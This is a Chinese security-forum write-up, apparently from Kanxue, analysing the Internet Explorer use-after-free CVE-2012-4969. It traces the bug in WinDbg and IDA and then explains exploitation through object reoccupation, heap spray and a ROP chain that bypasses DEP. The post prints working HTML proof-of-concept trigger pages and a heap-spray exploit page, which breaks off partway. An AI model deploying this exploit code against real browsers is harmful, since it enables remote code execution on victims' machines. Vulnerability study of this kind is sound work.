首页
社区
课程
招聘
[原创]UAF之CVE-2012-4969漏洞分析
发表于: 2021-4-28 10:51 11800

[原创]UAF之CVE-2012-4969漏洞分析

2021-4-28 10:51
11800

CVSS分数:9.3

概述:mshtml.dll的CMshtmlEd :: Exec()函数将CMshtmlEd对象释放后,又再次使用相同的内存,从而导致释放后使用的情况

Internet Explorer 6 至 9

MS12-063

使用metastploit模块获取poc1,LLmya.html

poc2,UGuQTe.html,两个文件保存在同一个目录下

运行程序poc1,触发漏洞

设置hpa,ust堆调试属性,使用windbg调试IE浏览器,执行poc1,漏洞触发

查看edi的值

查看函数调用堆栈

IDA中反汇编函数CMshtmlEd::Exec,由于win7中打开了ASLR,所以只能靠地址的后两个字节定位漏洞触发点68b8503e。这里是edi地址引用错误,在函数中往前查看edi的赋值情况,edi只有一次赋值且为this指针(不排除中间函数更改edi的可能,需要动态调试验证)

在CMshtmlEd::Exec设置断点,单步执行查看edi的变化情况

edi第一次赋值,查看堆的结构,得知edi指向CMshtmlEd实例的虚表

继续执行到触发异常点,edi还是指向同一个地方,但是!heap -p -a edi已经没有输出了,说明edi指向的堆已经不存在,大概率为释放后重利用漏洞

下一步查看CMshtmlEd实例的释放过程,先找到与CMshtmlEd类有关的函数

重点关注的函数

不过析构函数一般是与free一起调用的,查看CMshtmlEd::~CMshtmlEd,发现由CMshtmlEd::Release调用,查看release,有一处跳转执行free,所以就在CMshtmlEd::Release下断点

运行到漏洞函数CMshtmlEd::Exec时设置CMshtmlEd::Release断点,第一次执行到Release函数没有跳转执行free,第二次执行时调用了free函数

查看HeapFree函数的参数,第三个为this指针08178f78

继续执行之后就触发了异常,同时edi也是08178f78,与被free掉的this指针相同,说明this指针在被释放后了又进行引用导致UAF漏洞

那么,CMshtmlEd::Release的调用在漏洞函数CMshtmlEd::Exec哪里执行呢,查看CMshtmlEd::Exec,在漏洞触发点mov edi, dword ptr [edi+8]之前存在一个函数CCommand::Exec,需要使用edi指针,为什么执行之后就忽然edi指向的实例不存在了?

执行CCommamd::Exec之前查看edi

执行之后,edi指向的this指针已经被free掉了,之后执行mov edi, dword ptr [edi+8],导致异常。

验证:执行到CMshtmlEd::Exec时下断点mshtml!CMshtmlEd::Release和mshtml!CCommand::Exec,程序先后在CCommand::Exec和CMshtmlEd::Release断下,并执行了Heapfree函数,说明CCommand::Exec中释放了this指针

windbg结合JavaScript调试,确定poc何处引发漏洞

查看CMshtmlEd实例的构造和释放过程,在IDA中查看CMshtmlEd::CMshtmlEd的引用函数AddCommandTarget和GetCommandTarget,都在分配了堆之后调用了CMshtmlEd的构造函数,所以关注构造函数就能直到堆的引用过程

AddCommandTarget函数

GetCommandTarget函数

在构造函数和release函数下断点

执行funcB()时命中构造函数,查看函数参数this指针,这里由edx保存,堆为bb9af78

继续执行第二次命中构造函数,创建堆9e52f78

之后命中release,没有调用heapfree,然后执行funcA()

命中release,没有调用heapfree,又一次命中release,可以看到这里释放的堆为9e52f78

然后引发了一个奇怪的异常,可能是由于JavaScript调试导致

不过可以确定时funcA()引起的,write常常会触发对象释放,后面对arrr[0].src赋值是一个占位动作

win7 sp1 x86

jdk1.6,其中MSVCR71.dll模块没有开启ASLR

在CMshtmlEd对象被释放后,继续调用了vtable中的 [vtable + 8]函数,如果能够构造个虚假的地址将vtable占位,即可试下uaf利用。poc中parent.arrr[0]赋值实现了占位,程序,虚表指针edi+8指向了0c0c0c08

接着运行程序,调用了[[edi]+8],我们要向控制0c0c0c08处写入ROP和shellcode

Heap Spray,利用JavaScript String对象在内存中申请大量的堆块,堆一直占用直到地址0c0c0c0c,同时每一个分配的堆块结构sildecode+shellcode,sildecode为nop等滑板指令,劫持程序执行流到任何一个堆块(本例为0c0c0c0c)中都能够执行shellcode,在win7等开启了DEP和ASLR的系统,要构造ROP调用VirtualProtect以关闭dep,而且ROP位置要精准

为了实现shellcode精准到内存中指定位置:堆的大小和内部结构要非常精确,可以使用js的heaplib库,本次分析使用手动构造堆块。堆块进行分配的时候,因为堆块对齐,低4位10000大小的地址不会变化。举个例子,如果一个堆分配的低4位地址002c,那么其他堆的低位同为002c,只要以0x1000为单位进行构造堆块,那每个块结构机制都可轻易确定,如下图,low_offset固定,但high_offset不一定相同,当然每个shellcode块之间不能有空隙,不然会执行到0000的空隙字符

堆喷射代码,block结构,filler填充0020到0c0c到的内存,nop继续填充满1000字节

分配200MB的block,4字节bstr头适应js的string对象,最后以2个字节结尾

堆内存,90000为!peb的得到的进程堆基址,堆占用了99.46,每块大小为ffff0

筛选大小为ffff0的堆块,可以看到每个堆块低位均为0020

搜索shellcode "FuzzySecurity",可以看到每个shellcode间隔为1000,正好为我们构造的block,一部分内存已被block铺满,没有空隙

构造ROP

为了绕过win7的dep和ASLR,需要构造ROP调用VirtualProtect以关闭dep,win7浏览器会加载jdk1.6,其中有两个模块没有开启ASLR的模块,mona插件查询ROP

自动生成ROP链,有问题需稍加修改,之后更改ROP以令程序执行call dword ptr [eax+8]时能够跳转到ROP,具体为迁移栈到0c0c0c0c

kali生成shellcode,以js小端序输出

最终exploit

<html>
<body>
    <script>
        var arrr = new Array();
        arrr[0] = window.document.createElement("img");
        arrr[0]["src"] = "E";
    </script>
    <iframe src="./UGuQTe.html"></iframe>
</body>
</html>
<html>
<body>
    <script>
        var arrr = new Array();
        arrr[0] = window.document.createElement("img");
        arrr[0]["src"] = "E";
    </script>
    <iframe src="./UGuQTe.html"></iframe>
</body>
</html>
<HTML>
  <script>
    function funcB() {
      document.execCommand("selectAll");
    };
 
    function funcA() {
      document.write("O");
      parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
    }
 
  </script>
  <body onload='funcB();' onselect='funcA()'>
    <div contenteditable='true'>
      a
    </div>
  </body>
</HTML>
<HTML>
  <script>
    function funcB() {
      document.execCommand("selectAll");
    };
 
    function funcA() {
      document.write("O");
      parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
    }
 
  </script>
  <body onload='funcB();' onselect='funcA()'>
    <div contenteditable='true'>
      a
    </div>
  </body>
</HTML>
 
 
 
 
 
 
 
 
 
bp mshtml!CMshtmlEd::Exec
bp mshtml!CMshtmlEd::Exec
 
 
 
 
 
x mshtml!CmshtmlEd::*
x mshtml!CmshtmlEd::*
 
CMshtmlEd::Release
CMshtmlEd::~CMshtmlEd
CMshtmlEd::Release
CMshtmlEd::~CMshtmlEd
 
0:005> bp mshtml!CMshtmlEd::Exec    //漏洞函数
0:005> g
0:005> bp mshtml!CMshtmlEd::Release
0:005> bp mshtml!CMshtmlEd::Exec    //漏洞函数
0:005> g
0:005> bp mshtml!CMshtmlEd::Release
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
bp mshtml!CMshtmlEd::CMshtmlEd
bp mshtml!CMshtmlEd::Release
bp mshtml!CMshtmlEd::CMshtmlEd
bp mshtml!CMshtmlEd::Release
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
<html>
<body>
    <script>
        var arrr = new Array();
        arrr[0] = window.document.createElement("img");
        arrr[0]["src"] = "E";
        function alloc(len, str) {
            while (str.length < len)
                str += str;
            return str.substr(0, (len - 6) / 2);
        }
        var block_size = 0x1000 / 2; //一页大小
        var offset = (0x0c0c - 0x0020 - 4) / 2; // shellcode在块中的偏移
        var filler = unescape("%u0c0c");
        while (filler.length < offset) {
            filler += filler;
        }
        filler = filler.substring(0, offset);
 
        var shellcode = unescape("%u7546%u7a7a%u5379" + "%u6365%u7275%u7469" + "%u9079");// FuzzySecurity的ascii,仅仅作为标识
 
        var nop = unescape("%u9090");
        for (i = 0; i < block_size; i++) {
            nop += unescape("%u9090");
        }
        nop = nop.substring(0, block_size - shellcode.length - filler.length);
 
        var block = filler + shellcode + nop;
        block = alloc(0x100000-0x10, block);
        len_block = block.length;
        heap_chunks = new Array();
        for (i = 0; i < 150; i++) {
            heap_chunks[i] = block.substr(0, block.length);
        }
    </script>
 
    <iframe src="../hpIpD0pjgv/UGuQTe.html"></iframe>
</body>
</html>
<html>
<body>
    <script>
        var arrr = new Array();
        arrr[0] = window.document.createElement("img");
        arrr[0]["src"] = "E";
        function alloc(len, str) {
            while (str.length < len)
                str += str;
            return str.substr(0, (len - 6) / 2);
        }
        var block_size = 0x1000 / 2; //一页大小
        var offset = (0x0c0c - 0x0020 - 4) / 2; // shellcode在块中的偏移

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 5
支持
分享
最新回复 (3)
雪    币: 3741
活跃值: (5896)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
2
感谢分享 学习了
2021-4-28 13:49
0
雪    币: 1332
活跃值: (9481)
能力值: ( LV12,RANK:650 )
在线值:
发帖
回帖
粉丝
3
支持
2021-4-28 17:25
0
雪    币: 3836
活跃值: (4142)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
UAF  支持
2021-5-20 17:08
0
游客
登录 | 注册 方可回帖
返回
//